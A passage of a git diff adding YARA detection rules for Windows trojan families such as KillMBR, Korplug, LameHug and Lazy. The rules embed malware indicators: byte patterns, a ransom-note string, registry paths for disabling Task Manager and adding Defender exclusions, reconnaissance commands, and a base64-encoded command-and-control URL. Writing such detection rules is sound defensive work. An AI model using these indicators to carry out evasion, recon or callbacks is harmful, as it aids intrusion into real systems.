fc ff 40 3d 80 a9 03 00 72 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EANH_MTB.yar b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EANH_MTB.yar new file mode 100644 index 0000000000..9e6f2e9be9 --- /dev/null +++ b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EANH_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_KillMBR_EANH_MTB{ + meta: + description = "Trojan:Win32/KillMBR.EANH!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {0f be d2 0f af d1 88 94 05 f8 59 f1 ff 40 3d 00 a6 0e 00 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EAN_MTB.yar b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EAN_MTB.yar new file mode 100644 index 0000000000..dd24d9db53 --- /dev/null +++ b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EAN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_KillMBR_EAN_MTB{ + meta: + description = "Trojan:Win32/KillMBR.EAN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {0f be d2 0f af d1 88 94 05 ?? ?? ?? ?? 40 3d 00 53 07 00 } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EAUQ_MTB.yar b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EAUQ_MTB.yar new file mode 100644 index 0000000000..259271457e --- /dev/null +++ b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EAUQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_KillMBR_EAUQ_MTB{ + meta: + description = "Trojan:Win32/KillMBR.EAUQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_02_0 = {8a c3 c0 e0 05 0a d0 88 94 1d ?? ?? ?? ?? 43 81 fb 80 a9 03 00 } //5 + condition: + ((#a_02_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EIV_MTB.yar b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EIV_MTB.yar new file mode 100644 index 0000000000..3826ffa57f --- /dev/null +++ b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EIV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_KillMBR_EIV_MTB{ + meta: + description = "Trojan:Win32/KillMBR.EIV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {f7 f6 24 80 88 84 0d ?? ?? ?? ?? 41 81 f9 80 a9 03 00 } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_ENII_MTB.yar b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_ENII_MTB.yar new file mode 100644 index 0000000000..2b6c6f3c02 --- /dev/null +++ b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_ENII_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_KillMBR_ENII_MTB{ + meta: + description = "Trojan:Win32/KillMBR.ENII!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {01 d0 0f b6 00 89 c2 8b 45 e8 89 d1 31 c1 8b 55 f0 8b 45 f4 01 d0 89 ca 88 10 83 45 f4 01 8b 45 f4 3b 45 ec } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EYB_MTB.yar b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EYB_MTB.yar new file mode 100644 index 0000000000..96229494f5 --- /dev/null +++ b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_EYB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_KillMBR_EYB_MTB{ + meta: + description = "Trojan:Win32/KillMBR.EYB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_02_0 = {0a d0 88 94 1d ?? ?? ?? ?? 43 81 fb 80 a9 03 00 } //2 + condition: + ((#a_02_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_NM_MTB.yar b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_NM_MTB.yar index 265c3b3d65..cfc139bb5d 100644 --- a/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_NM_MTB.yar +++ b/Trojan/Win32/KillMBR/Trojan_Win32_KillMBR_NM_MTB.yar @@ -1,5 +1,21 @@ rule Trojan_Win32_KillMBR_NM_MTB{ + meta: + description = "Trojan:Win32/KillMBR.NM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 07 00 00 " + + strings : + $a_01_0 = {62 69 7a 68 69 2e 62 6d 70 } //2 bizhi.bmp + $a_01_1 = {53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 50 6f 6c 69 63 69 65 73 5c 53 79 73 74 65 6d 5c 44 69 73 61 62 6c 65 54 61 73 6b 4d 67 72 } //2 Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr + $a_01_2 = {5f 45 4c 5f 48 69 64 65 4f 77 6e 65 72 } //1 _EL_HideOwner + $a_01_3 = {73 74 61 72 74 2d 61 61 71 61 } //1 start-aaqa + $a_01_4 = {72 61 6e 73 6f 6d } //1 ransom + $a_01_5 = {62 79 20 7a 75 6f 6c 75 6f } //1 by zuoluo + $a_01_6 = {79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 68 61 76 65 20 61 20 6c 6f 63 6b } //1 your computer have a lock + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=9 + +} +rule Trojan_Win32_KillMBR_NM_MTB_2{ meta: description = "Trojan:Win32/KillMBR.NM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 00 " diff --git a/Trojan/Win32/Killfiles/Trojan_Win32_KillFiles_SX_MTB.yar b/Trojan/Win32/Killfiles/Trojan_Win32_KillFiles_SX_MTB.yar new file mode 100644 index 0000000000..7b40068978 --- /dev/null +++ b/Trojan/Win32/Killfiles/Trojan_Win32_KillFiles_SX_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_KillFiles_SX_MTB{ + meta: + description = "Trojan:Win32/KillFiles.SX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {33 c9 8b c7 ba 02 00 00 00 f7 e2 0f 90 90 c1 f7 d9 0b c8 51 e8 ?? ?? ?? ?? 83 c4 04 8b f0 57 8d 84 24 04 03 00 00 50 56 e8 ?? ?? ?? ?? 8b c6 83 c4 0c 8d 48 02 } //3 + $a_01_1 = {8b c8 c1 e9 02 8b f2 f3 a5 8b c8 83 e1 03 f3 a4 8d 7d a0 4f 8d 49 00 } //2 + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Killfiles/Trojan_Win32_KillFiles_TMX_MTB.yar b/Trojan/Win32/Killfiles/Trojan_Win32_KillFiles_TMX_MTB.yar new file mode 100644 index 0000000000..1d9a135e88 --- /dev/null +++ b/Trojan/Win32/Killfiles/Trojan_Win32_KillFiles_TMX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_KillFiles_TMX_MTB{ + meta: + description = "Trojan:Win32/KillFiles.TMX!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {8a 0c 06 8d 41 01 fe c9 80 e2 01 0f b6 c0 0f b6 c9 0f 45 c8 8b 45 e4 88 0c 06 46 3b f7 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Azorult/Trojan_Win32_Azorult_C_MTB.yar b/Trojan/Win32/KoiLoader/Trojan_Win32_KoiLoader_C_MTB.yar similarity index 63% rename from Trojan/Win32/Azorult/Trojan_Win32_Azorult_C_MTB.yar rename to Trojan/Win32/KoiLoader/Trojan_Win32_KoiLoader_C_MTB.yar index 9945555d61..904e1d3c0e 100644 --- a/Trojan/Win32/Azorult/Trojan_Win32_Azorult_C_MTB.yar +++ b/Trojan/Win32/KoiLoader/Trojan_Win32_KoiLoader_C_MTB.yar @@ -1,7 +1,7 @@ -rule Trojan_Win32_Azorult_C_MTB{ +rule Trojan_Win32_KoiLoader_C_MTB{ meta: - description = "Trojan:Win32/Azorult.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " + description = "Trojan:Win32/KoiLoader.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 00 " strings : $a_03_0 = {33 d2 f7 75 ?? 8b 45 ?? 0f b6 0c 10 8b 55 ?? 03 55 ?? 0f b6 02 33 c1 8b 4d ?? 03 4d ?? 88 01 } //2 diff --git a/Trojan/Win32/Korplug/Trojan_Win32_Korplug_AHT_MTB.yar b/Trojan/Win32/Korplug/Trojan_Win32_Korplug_AHT_MTB.yar new file mode 100644 index 0000000000..5ffe298f56 --- /dev/null +++ b/Trojan/Win32/Korplug/Trojan_Win32_Korplug_AHT_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Korplug_AHT_MTB{ + meta: + description = "Trojan:Win32/Korplug.AHT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {c6 45 e4 47 c6 45 e5 65 c6 45 e6 74 c6 45 e7 4d c6 45 e8 6f c6 45 e9 64 c6 45 ea 75 c6 45 eb 6c c6 45 ec 65 c6 45 ed 46 c6 45 ee 69 c6 45 ef 6c c6 45 f0 65 c6 45 f1 4e c6 45 f2 61 c6 45 f3 6d c6 45 f4 65 c6 45 f5 41 c6 45 f6 00 } //2 + $a_03_1 = {83 f2 4c 88 95 5f fe ?? ?? 0f be 85 5f fe ?? ?? 83 f0 76 88 85 5f fe ?? ?? 8b 8d a4 fe ?? ?? 03 8d 54 fe ?? ?? 0f b6 09 8b 85 54 fe ?? ?? 33 d2 f7 75 b4 8b 45 d8 0f be 14 10 33 ca } //3 + condition: + ((#a_01_0 & 1)*2+(#a_03_1 & 1)*3) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win32/Krucky/Trojan_Win32_Krucky_AHB_MTB.yar b/Trojan/Win32/Krucky/Trojan_Win32_Krucky_AHB_MTB.yar new file mode 100644 index 0000000000..9e4afab165 --- /dev/null +++ b/Trojan/Win32/Krucky/Trojan_Win32_Krucky_AHB_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win32_Krucky_AHB_MTB{ + meta: + description = "Trojan:Win32/Krucky.AHB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 02 00 00 " + + strings : + $a_03_0 = {b9 19 00 00 00 33 c0 8a 90 90 ?? ?? ?? ?? 32 d1 41 81 e1 ff 00 00 80 88 54 05 e4 79 ?? 49 81 c9 00 ff ff ff 41 40 83 f8 0c 7c } //10 + $a_03_1 = {89 45 d4 89 45 d8 89 45 dc 88 45 e0 89 45 e4 89 45 e8 89 45 ec 88 45 f0 a1 ?? ?? ?? ?? 8b 11 8b 52 08 05 b8 00 00 00 50 ff d2 } //5 + condition: + ((#a_03_0 & 1)*10+(#a_03_1 & 1)*5) >=15 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lactrodectus/Trojan_Win32_Lactrodectus_Z_MTB.yar b/Trojan/Win32/Lactrodectus/Trojan_Win32_Lactrodectus_Z_MTB.yar new file mode 100644 index 0000000000..de324940b4 --- /dev/null +++ b/Trojan/Win32/Lactrodectus/Trojan_Win32_Lactrodectus_Z_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lactrodectus_Z_MTB{ + meta: + description = "Trojan:Win32/Lactrodectus.Z!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {f8 2b 75 0f b8 3e 00 00 00 66 89 44 24 24 e9 89 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/LameHug/Trojan_Win32_LameHug_DA_MTB.yar b/Trojan/Win32/LameHug/Trojan_Win32_LameHug_DA_MTB.yar new file mode 100644 index 0000000000..36cb98d354 --- /dev/null +++ b/Trojan/Win32/LameHug/Trojan_Win32_LameHug_DA_MTB.yar @@ -0,0 +1,25 @@ + +rule Trojan_Win32_LameHug_DA_MTB{ + meta: + description = "Trojan:Win32/LameHug.DA!MTB,SIGNATURE_TYPE_CMDHSTR_EXT,7d 00 7d 00 0f 00 00 " + + strings : + $a_00_0 = {6d 00 6b 00 64 00 69 00 72 00 20 00 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 69 00 6e 00 66 00 6f 00 } //100 mkdir C:\Programdata\info + $a_00_1 = {77 00 6d 00 69 00 63 00 20 00 63 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 73 00 79 00 73 00 74 00 65 00 6d 00 } //10 wmic computersystem + $a_00_2 = {77 00 6d 00 69 00 63 00 20 00 63 00 70 00 75 00 } //10 wmic cpu + $a_00_3 = {77 00 6d 00 69 00 63 00 20 00 6d 00 65 00 6d 00 6f 00 72 00 79 00 63 00 68 00 69 00 70 00 } //10 wmic memorychip + $a_00_4 = {77 00 6d 00 69 00 63 00 20 00 64 00 69 00 73 00 6b 00 64 00 72 00 69 00 76 00 65 00 } //10 wmic diskdrive + $a_00_5 = {77 00 6d 00 69 00 63 00 20 00 6e 00 69 00 63 00 } //10 wmic nic + $a_00_6 = {77 00 68 00 6f 00 61 00 6d 00 69 00 20 00 2f 00 75 00 73 00 65 00 72 00 } //1 whoami /user + $a_00_7 = {64 00 73 00 71 00 75 00 65 00 72 00 79 00 20 00 75 00 73 00 65 00 72 00 } //1 dsquery user + $a_00_8 = {64 00 73 00 71 00 75 00 65 00 72 00 79 00 20 00 63 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 } //1 dsquery computer + $a_00_9 = {64 00 73 00 71 00 75 00 65 00 72 00 79 00 20 00 67 00 72 00 6f 00 75 00 70 00 } //1 dsquery group + $a_00_10 = {64 00 73 00 71 00 75 00 65 00 72 00 79 00 20 00 6f 00 75 00 } //1 dsquery ou + $a_00_11 = {64 00 73 00 71 00 75 00 65 00 72 00 79 00 20 00 73 00 69 00 74 00 65 00 } //1 dsquery site + $a_00_12 = {64 00 73 00 71 00 75 00 65 00 72 00 79 00 20 00 73 00 75 00 62 00 6e 00 65 00 74 00 } //1 dsquery subnet + $a_00_13 = {64 00 73 00 71 00 75 00 65 00 72 00 79 00 20 00 73 00 65 00 72 00 76 00 65 00 72 00 } //1 dsquery server + $a_00_14 = {64 00 73 00 71 00 75 00 65 00 72 00 79 00 20 00 64 00 6f 00 6d 00 61 00 69 00 6e 00 } //1 dsquery domain + condition: + ((#a_00_0 & 1)*100+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*10+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1+(#a_00_9 & 1)*1+(#a_00_10 & 1)*1+(#a_00_11 & 1)*1+(#a_00_12 & 1)*1+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1) >=125 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lamer/Trojan_Win32_Lamer_C_MTB.yar b/Trojan/Win32/Lamer/Trojan_Win32_Lamer_C_MTB.yar new file mode 100644 index 0000000000..69f731c928 --- /dev/null +++ b/Trojan/Win32/Lamer/Trojan_Win32_Lamer_C_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win32_Lamer_C_MTB{ + meta: + description = "Trojan:Win32/Lamer.C!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {56 69 72 74 75 61 6c 41 6c 6c 6f 63 45 78 22 2c 22 53 55 43 43 45 53 53 22 2c 22 30 78 30 30 39 39 30 30 30 30 22 2c 22 74 68 33 32 50 72 6f 63 65 73 73 49 44 2d 3e 31 38 32 34 22 2c 22 73 7a 45 78 65 46 69 6c 65 2d 3e 48 65 6c 70 4d 65 2e 65 78 65 22 2c 22 6c 70 41 64 64 72 65 73 73 2d 3e 30 78 30 30 30 30 30 30 30 30 22 2c 22 64 77 53 69 7a 65 2d 3e 34 30 39 36 22 2c 22 66 6c 41 6c 6c 6f 63 61 74 69 6f 6e 54 79 70 65 2d 3e 30 78 30 30 30 30 31 30 30 30 22 2c 22 66 6c 50 72 6f 74 65 63 74 2d 3e 30 78 30 30 30 30 30 30 34 30 } //2 VirtualAllocEx","SUCCESS","0x00990000","th32ProcessID->1824","szExeFile->HelpMe.exe","lpAddress->0x00000000","dwSize->4096","flAllocationType->0x00001000","flProtect->0x00000040 + $a_01_1 = {73 68 65 6c 6c 65 78 65 63 75 74 65 3d 41 75 74 6f 52 75 6e 2e 65 78 65 } //1 shellexecute=AutoRun.exe + $a_01_2 = {49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 6c 6e 6b } //1 Internet Explorer.lnk + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_AD_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_AD_MTB.yar new file mode 100644 index 0000000000..16edb1b698 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_AD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_AD_MTB{ + meta: + description = "Trojan:Win32/Lazy.AD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {8b c1 83 e0 0f 8a 80 f8 e0 42 00 30 81 10 1b 43 00 8d ?? 10 1b 43 00 03 c1 83 e0 0f 8a 80 f8 e0 42 00 30 81 11 1b 43 00 8d ?? 10 1b 43 00 03 c1 83 e0 0f 8a 80 f8 e0 42 00 30 81 12 1b 43 00 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_AE_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_AE_MTB.yar new file mode 100644 index 0000000000..86715e3319 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_AE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_AE_MTB{ + meta: + description = "Trojan:Win32/Lazy.AE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {41 83 f8 0a 0f 9c c3 20 c3 89 d0 20 c8 08 d8 30 d1 20 d1 89 ca 20 c2 30 c1 08 d1 89 c2 30 ca 80 f1 01 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_AF_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_AF_MTB.yar new file mode 100644 index 0000000000..11a9e591c0 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_AF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_AF_MTB{ + meta: + description = "Trojan:Win32/Lazy.AF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {89 85 4c e8 ff ff 33 c0 88 85 98 e8 ff ff 33 c9 88 8d 97 e8 ff ff 0f b6 95 98 e8 ff ff 52 0f b6 85 97 e8 ff ff 50 0f b6 8d 66 e8 ff ff 51 8d } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_AG_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_AG_MTB.yar new file mode 100644 index 0000000000..d0f7cc5388 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_AG_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_AG_MTB{ + meta: + description = "Trojan:Win32/Lazy.AG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {83 f0 6d 66 89 45 e0 0f bf 4d c4 33 4d ec 81 f1 e4 03 00 00 88 4d fa 6b 15 40 21 4c 00 00 83 f2 3a 89 15 58 21 4c 00 8b 45 d8 35 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_AYC_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_AYC_MTB.yar new file mode 100644 index 0000000000..5f65c896b9 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_AYC_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_Lazy_AYC_MTB{ + meta: + description = "Trojan:Win32/Lazy.AYC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 00 " + + strings : + $a_01_0 = {45 6e 63 72 79 70 74 69 6e 67 20 70 61 79 6c 6f 61 64 20 77 69 74 68 20 43 68 61 43 68 61 32 30 2b 58 4f 52 2e } //2 Encrypting payload with ChaCha20+XOR. + $a_01_1 = {45 6e 63 72 79 70 74 65 64 20 70 61 79 6c 6f 61 64 20 73 69 7a 65 3a 20 25 75 20 62 79 74 65 73 2e } //1 Encrypted payload size: %u bytes. + $a_01_2 = {4f 75 74 70 75 74 20 73 61 76 65 64 20 74 6f 20 70 61 63 6b 65 64 2e 65 78 65 } //1 Output saved to packed.exe + $a_01_3 = {5c 52 65 6c 65 61 73 65 5c 62 69 67 44 61 77 67 2e 70 64 62 } //1 \Release\bigDawg.pdb + $a_01_4 = {53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 44 65 66 65 6e 64 65 72 5c 45 78 63 6c 75 73 69 6f 6e 73 5c 50 61 74 68 73 } //1 SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_BSA_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_BSA_MTB.yar new file mode 100644 index 0000000000..93e9715661 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_BSA_MTB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win32_Lazy_BSA_MTB{ + meta: + description = "Trojan:Win32/Lazy.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,32 00 32 00 05 00 00 " + + strings : + $a_81_0 = {61 48 52 30 63 44 6f 76 4c 7a 67 30 4c 6a 49 30 4e 79 34 78 4e 7a 41 75 4d 6a 4d 33 4f 6a 51 34 4e 54 67 76 5a 6d 78 35 58 32 4a 68 59 32 73 3d } //30 aHR0cDovLzg0LjI0Ny4xNzAuMjM3OjQ4NTgvZmx5X2JhY2s= + $a_81_1 = {53 63 72 65 65 6e 43 61 70 2e 70 6e 67 } //10 ScreenCap.png + $a_81_2 = {70 6b 69 6c 6c } //5 pkill + $a_81_3 = {73 68 65 6c 6c 65 78 65 63 } //3 shellexec + $a_81_4 = {75 70 6c 6f 61 64 } //2 upload + condition: + ((#a_81_0 & 1)*30+(#a_81_1 & 1)*10+(#a_81_2 & 1)*5+(#a_81_3 & 1)*3+(#a_81_4 & 1)*2) >=50 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GPJ_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GPJ_MTB.yar new file mode 100644 index 0000000000..3737760fe5 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GPJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_GPJ_MTB{ + meta: + description = "Trojan:Win32/Lazy.GPJ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {39 ff 74 01 ea 31 3b 81 c3 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GVA_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GVA_MTB.yar new file mode 100644 index 0000000000..3a2d9b1d04 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_GVA_MTB{ + meta: + description = "Trojan:Win32/Lazy.GVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {8b c1 99 f7 bd ?? ?? ?? ?? 8a 04 ?? 30 04 31 41 3b ?? 72 ec } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GVB_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GVB_MTB.yar new file mode 100644 index 0000000000..f94b40172e --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GVB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_GVB_MTB{ + meta: + description = "Trojan:Win32/Lazy.GVB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {bf 60 01 00 00 99 f7 ff 8b bd ?? ?? ?? ?? 8a 04 3a 8b bd ?? ?? ?? ?? 30 04 39 41 3b ce } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GV_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GV_MTB.yar index e40cf4fda2..a3a71d4c2f 100644 --- a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GV_MTB.yar +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GV_MTB.yar @@ -1,5 +1,15 @@ rule Trojan_Win32_Lazy_GV_MTB{ + meta: + description = "Trojan:Win32/Lazy.GV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {8b c2 80 c1 ?? 32 4c 45 ?? 8d 42 01 88 8e ?? ?? ?? ?? 46 0f b7 d0 81 fe } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} +rule Trojan_Win32_Lazy_GV_MTB_2{ meta: description = "Trojan:Win32/Lazy.GV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 00 " diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GW_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GW_MTB.yar new file mode 100644 index 0000000000..7f35c48d02 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_GW_MTB{ + meta: + description = "Trojan:Win32/Lazy.GW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {8b c2 80 c1 ?? 32 4c 45 ?? 8d 42 ?? 88 0c 3e 46 0f b7 d0 } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GX_MTB.yar b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GX_MTB.yar new file mode 100644 index 0000000000..2878578e72 --- /dev/null +++ b/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win32_Lazy_GX_MTB{ + meta: + description = "Trojan:Win32/Lazy.GX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_02_0 = {0f b6 11 33 d0 8b 45 08 03 45 f0 88 10 66 8b 4d ?? 66 83 c1 ?? 66 89 4d } //1 + condition: + ((#a_02_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win32/Lazy/Trojan_Win32_Lazy_GY_MTB.yar 